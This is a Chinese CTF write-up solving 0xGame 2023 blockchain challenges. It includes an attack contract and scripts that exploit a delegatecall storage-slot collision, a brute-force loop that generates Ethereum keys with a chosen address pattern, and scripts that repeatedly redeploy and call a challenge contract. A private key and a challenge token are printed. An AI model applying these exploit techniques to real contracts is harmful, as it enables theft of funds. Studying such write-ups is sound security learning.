0xGame 2023 week3-4 blockchain 详解wp

写不完了

警告
本文最后更新于 2024-02-13,文中内容可能已过时。
Intro

时间原因,先把写完的贴上来吧,写不完的春节再说

week3

0xcallsino

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract CasinoBackstage {
    uint number;
    uint target;

    function setnumber(uint _number) public {
        number = _number;
        target = uint(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender))) % 114514;
    }
}

contract callsino {
    address casinoaddr;
    uint target = 1;
    uint number;

    constructor(address _casinoaddr) {
        casinoaddr = _casinoaddr;
    }

    function setcasino(uint _number) external {
        casinoaddr.delegatecall(abi.encodeWithSignature("setnumber(uint256)", _number));
    }

    function isSolved() external view returns (bool) {
        require(number == target, "You loss!");
        return true;
    }
}

这里考的是delegatecall的知识

在调用delegatecall的时候,函数的操作对象会以操作的发出者为主体

并且delegatecall操作数据的时候,是按照Storageslot位进行操作的

而不是按照变量名操作的

分析这题的CasinoBackstagecallsino两个contract

可以发现callsinoaddress casinoaddr刚好和CasinoBackstagenumber都在slot0

setnumber方法刚好修改的就是slot0的值

也就是说我调用 casinoaddr.delegatecall修改的是 delegatecall所调用的合约的值的位置

这样的话,只需要先部署一个攻击合约,使他的setnumber作用是修改targetnumber为相同值

然后调用setnumber,把当前的address casinoaddr改为我刚部署的攻击合约

再调用一次setnumber

number == target的条件就满足了

攻击合约

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Attack {

    address casinoaddr;
    uint number;
    uint target;

    function setnumber(uint _number) public {
        number = _number;
        target = _number;
    }
}

然后用remix进行部署,部署完会发现调用setcasino()的时候会修改失败

原因是remix发送的数据格式有问题

可以有两个选择:

方法一

用solidity把地址写进去

1
2
3
4
    function hack() public {
        callsino ca = callsino(题目合约地址);
        ca.setcasino((uint(uint160(address(攻击合约地址)))));
    }

方法二

或者用web3.py/web3.js

写脚本进行交互

我这里为了省事,没有用Web3.py

用了一个为CTF优化过的基于Web3的库 cheb3

1
pip3 install cheb3
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from cheb3 import Connection
from cheb3.utils import compile_file
entrant_abi, entrant_bytecode = compile_file("callsino.sol", "callsino", "0.8.9")['callsino']
conn = Connection('http://49.235.117.196:8545')

existing_account = conn.account("私钥")
target_address = "题目合约地址"
entrant_contract = conn.contract(
    existing_account,  
    address=target_address,
    abi=entrant_abi
)


entrant_contract.functions.setcasino(攻击合约地址).send_transaction()
from binascii import hexlify
for i in range(3):
    print(hexlify(conn.get_storage_at(target_address,i)))

entrant_contract.functions.setcasino(0x1).send_transaction()
for i in range(3):
    print(hexlify(conn.get_storage_at(target_address,i)))

也是一样的

目的都是改address casinoaddr改为刚部署的攻击合约

week4

[Week 4] TestYourLuck

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Void {
  constructor() {}
}

contract TestLuck {
  address payable owner;
  bool solved;

  constructor(address payable _owner) {
    owner = _owner;
  }

  modifier OnlyYou {
    require(uint256(uint160(msg.sender)) % 50 == 20, "NoNo!!");
    _;
  }

  function makevoid() external {
    Void v = new Void();
  }

  function checkyourluck() external OnlyYou {
    Void v = new Void();
    if(uint256(uint160(address(v))) % 50 == 30) {
      solved = true;
    }
    else {
      selfdestruct(owner);
    }
  }

  function isSolved() external returns (bool) {
    return solved;
  }
}

要求是通过checkyourluck函数,得先满足OnlyYou这个modifier

先得让你的钱包地址$mod 50$后为20

可以考虑纯碰运气,手工生成钱包地址,50分之一的几率

我去找了个生成钱包地址的python实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from ecdsa import SigningKey, SECP256k1
import sha3

def checksum_encode(addr_str): # Takes a hex (string) address as input
    keccak = sha3.keccak_256()
    out = ''
    addr = addr_str.lower().replace('0x', '')
    keccak.update(addr.encode('ascii'))
    hash_addr = keccak.hexdigest()
    for i, c in enumerate(addr):
        if int(hash_addr[i], 16) >= 8:
            out += c.upper()
        else:
            out += c
    return '0x' + out

while True:

    keccak = sha3.keccak_256()
    
    priv = SigningKey.generate(curve=SECP256k1)
    pub = priv.get_verifying_key().to_string()
    
    keccak.update(pub)
    address = keccak.hexdigest()[24:]

    if int(address,16) % 50 == 20:
        break

print("Private key:", priv.to_string().hex())
print("Address:    ", checksum_encode(address))
1
2
Private key: 209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2
Address:     0xb6598521e39b76f36a8E4213FF89995527BEE004

第二步就是让uint256(uint160(address(v))) % 50 == 30通过

这个还是碰运气,50分之一的几率

不过由于不通过的话,合约会自毁,所以每次还需要先部署合约

写个python脚本进行交互,先用pwntools去交互部署合约

sleep(10)是因为合约需要部署在新区块上,部署到网络上需要时间

然后再调用checkyourluck函数

get_storage_at是我用来调试的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from cheb3 import Connection
from cheb3.utils import compile_file
from binascii import hexlify
from pwn import *

entrant_abi, entrant_bytecode = compile_file("TestLuck.sol", "TestLuck", "0.8.9")['TestLuck']
conn = Connection('http://49.235.117.196:8545')

# context.log_level = 'debug'
token = b"v4.local.K1koAEUV8vK60eD7ZYsdWmxp8st5wTc1A6wfEUiHQhLARoNRQ2WP15jTWntwwwFS54eU8_Bxaqwi_s7tJekzySmB06U6s9w4g2AglgHgN4urjf1yC1nWAsOD3KGpPrS9wqjwJK_oDBrJW4Jd4XixwWuveFR_AEYo4F6IL50VwY0v0g.VGVzdEx1Y2s"
def choice_2():
    r = remote("49.235.117.196", 20000)
    r.recvuntil(b":")
    r.sendline(b"2")
    r.sendline(token)
    x = r.recvline()
    contract_address = x.decode()[45:-1]
    print("合约地址: ",contract_address)
    r.close()
    return contract_address
    

def choice_3():
    r = remote("49.235.117.196", 20000)
    r.recvuntil(b":")
    r.sendline(b"3")
    r.sendline(token)
    x = r.recvline()
    
    r.close()
    return x


existing_account = conn.account("0x209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2")

for i in range(50):

    target_address = choice_2()
    sleep(10)
    entrant_contract = conn.contract(
        existing_account,    # specified the signer
        address=target_address,
        abi=entrant_abi
    )

    for i in range(2):
        print(hexlify(conn.get_storage_at(target_address,i)))
    entrant_contract.functions.checkyourluck().send_transaction()

    for i in range(2):
        print(hexlify(conn.get_storage_at(target_address,i)))

    returned = choice_3()

    if b'0xGame{' in returned:
        print(returned)
        break

image-20231024231330555

0%